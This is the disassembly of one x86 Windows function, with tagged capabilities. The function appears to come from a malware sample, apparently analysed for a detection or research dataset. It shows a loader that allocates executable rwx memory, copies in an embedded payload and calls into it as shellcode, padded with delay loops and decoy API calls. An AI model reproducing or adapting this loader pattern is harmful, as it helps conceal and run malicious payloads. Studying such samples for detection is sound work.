Function at 0x4045e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x40460a
inc esi
cmp esi, 0x73f04bd
jl 0x4045f6
cmp dword [0x496e24], 0x400
jne 0x404685
push ebx
lea eax, [ebp - 0x420]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push ebx
push ebx
call fcn.00404e1d
push 0x403fc4
push 0x403fc8
push ebx
call fcn.00405223
add esp, 0x14
push ebx
call fcn.004050e2
add esp, 4
push ebx
call fcn.00405581
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.0040528a
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404d00
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004053f0
fstp st(0)
add esp, 8
cmp dword [0x496e24], 0x93
jne 0x4046d9
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x403fd8
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
call fcn.0040513e
add esp, 4
push ebx
call fcn.00405154
add esp, 4
call fcn.004045d0
push ebx
push ebx
call fcn.004053c7
add esp, 8
mov eax, dword [0x496e24]
mov ecx, dword [0x491fb4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x497c60], ecx
mov dword [0x496e24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4968b4], eax
mov esi, 0x1692e
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404710
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [0x496e24], ebx
jbe 0x4047c8
mov esi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov edi, edi
mov edx, dword [0x497c60]
mov cl, byte [edx + eax + 0x1134b]
mov edx, dword [0x4968b4]
mov byte [edx + eax], cl
cmp dword [0x496e24], 0x490
jne 0x4047b6
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call esi
push 0
call edi
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x403fe0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [0x496e24]
jb 0x404740
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov eax, dword [0x496e24]
add eax, esi
cmp eax, 0x8d
jne 0x40480c
push 0
lea ecx, [ebp - 0x420]
push ecx
push 0
push 0
push 0
push 0
call edi
lea edx, [ebp - 8]
push edx
call ebx
push 0x404070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x4047d6
call fcn.004044d0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x40482e
call ebx
cmp esi, 0x207142
jg 0x40483f
inc esi
cmp esi, 0x67d12
jl 0x404824
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40485f
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x4968b4], eax
inc esi
cmp esi, 0x674bd
jl 0x404841
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov dword [ebp - 4], 0x7b
cmp dword [0x496e24], 0x86
jne 0x4048bc
push 0x4040a8
call esi
push 0
lea ecx, [ebp - 0x420]
push ecx
push 0
call edi
push 0x4041a8
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x496e24], 0xf
jne 0x4048d1
push 0
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x404881
push 0x4041f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x4968b4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret